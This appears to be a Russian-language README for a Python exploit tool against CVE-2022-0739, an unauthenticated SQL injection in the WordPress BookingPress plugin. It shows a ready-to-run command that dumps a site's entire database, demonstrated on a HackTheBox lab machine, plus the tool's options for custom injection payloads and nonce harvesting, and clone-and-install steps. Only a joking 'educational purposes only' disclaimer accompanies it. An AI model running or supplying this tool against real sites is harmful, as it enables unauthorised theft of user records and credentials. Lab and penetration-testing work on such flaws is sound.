
Эксплойт для WP BookingPress (< 1.0.11) на основе POC от destr4ct.
Моя реализация эксплуатации CVE-2022-0739 для BookingPress, основанная на POC от destr4ct — просто симпатичнее.
Пример использования на машине MetaTwo с HackTheBox, на которой работает WordPress с уязвимым плагином bookingpress (версия 1.0.10).
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
TL:DR; Только в образовательных целях, не ломайте то, что вам не принадлежит или на что у вас нет разрешения на пентест. Если вы используете эту программу в злонамеренных целях, кибербоги могут поразить ваш компьютер такой разрушительной вредоносной программой, что вы пожалеете, что не купили просто Mac.